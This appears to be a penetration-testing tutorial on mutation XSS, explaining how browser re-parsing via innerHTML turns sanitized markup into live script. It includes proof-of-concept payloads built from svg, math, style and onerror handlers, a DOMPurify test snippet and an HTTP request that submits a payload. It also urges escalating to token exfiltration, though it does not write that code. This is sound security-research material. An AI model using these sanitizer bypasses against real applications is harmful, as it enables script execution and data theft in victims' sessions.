Mutation XSS: When the Browser Rewrites Your Payload Into Life
mXSS slips inert-looking markup past a sanitizer that the browser's HTML parser then re-serializes into executable script. We cover the parsing quirks that trigger it and how to prove a bypass.
Mutation XSS (mXSS) exploits the gap between what a sanitizer sees and what the browser builds. The sanitizer inspects a string, decides it is safe, and inserts it; then the browser's HTML parser re-parses that string while building the DOM and "mutates" it into different markup — markup that now contains an executing payload the sanitizer never recognized.
Where it hides
mXSS lives wherever sanitized HTML is dropped into the DOM via innerHTML, because that assignment triggers a full re-parse. The signal is a client-side HTML sanitizer (DOMPurify, a homegrown allowlist, an editor's paste cleaner) followed by an innerHTML write:
- Rich-text and WYSIWYG editors that sanitize then preview via
innerHTML. - Comment/markdown renderers that allow a "safe" HTML subset.
- Anywhere a string round-trips through
innerHTML(read it out, modify, write it back). - Server-sanitized HTML that the client re-inserts with
innerHTML.
The quirks that drive mutation are specific parser behaviors:
- Foreign content — inside
<svg>or<math>, namespace switching changes how the same bytes parse, so a benign-looking SVG can re-serialize into HTML that runs. - Implicit tag closing / reordering — the parser moves or closes tags (e.g. inside
<table>), reassembling attributes into a new live element. - Entity and attribute normalization — backtick-quoted or unusual attribute syntax that the sanitizer reads one way and the parser another.
The discovery loop is to feed the sanitizer a candidate, then read back the serialized DOM and compare. If el.innerHTML after insertion differs structurally from what went in, you have a mutation to weaponize:
// In DevTools against the page's sanitize+insert path
const dirty = '<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">';
el.innerHTML = DOMPurify.sanitize(dirty);
console.log(el.innerHTML); // mutated output — look for a live <img onerror>
Reproducing it
The canonical mXSS payloads abuse foreign-content and namespace confusion. A classic against older sanitizer configs:
<svg></svg><style><img src=x onerror=alert(document.domain)></style>
The sanitizer treats the <img> as inert text inside <style>; on re-parse, the <svg>/<style> interaction breaks the styling context and the <img> becomes a live element whose onerror fires.
Another reliable family uses the way the parser handles </p> and comment-like sequences inside foreign content:
<math><mtext><table><mglyph><style><img src=x onerror=alert(document.domain)>
To reproduce against a live editor, paste or submit the payload, let the app sanitize and preview it, and watch for the alert. The full flow in an HTTP-driven app:
POST /api/notes HTTP/1.1
Host: app.example.com
Authorization: Bearer eyJ...
Content-Type: application/json
{"html": "<svg></svg><style><img src=x onerror=alert(document.domain)></style>"}
Then open the note's render page. If the alert fires, the sanitized-but-mutated markup executed.
When testing a current sanitizer, target known mutation primitives rather than plain tags:
- Namespace confusion via
<svg>/<math>wrapping a normally-blocked element. <noscript>toggling parse modes between sanitize-time and render-time.- Attribute backtick quoting (
<img src=\x` onerror=alert(1)>`) that the parser normalizes into a live handler.
Going further
mXSS is high value precisely because it defeats the control teams trust most — the HTML sanitizer — so a confirmed bypass often turns a "safe HTML" feature into full script execution in the victim's origin. Escalate the proof the same way as any XSS: replace alert(document.domain) with a token-exfiltration beacon or a same-origin fetch that pulls and ships sensitive data.
A useful research habit is to diff sanitizer input against the post-innerHTML serialization automatically across a corpus of payloads; any structural divergence is a mutation candidate worth weaponizing. Capture the exact payload, the mutated serialization the browser produced, and the fired alert or exfil request as evidence. Restrict testing to authorized targets and accounts you control.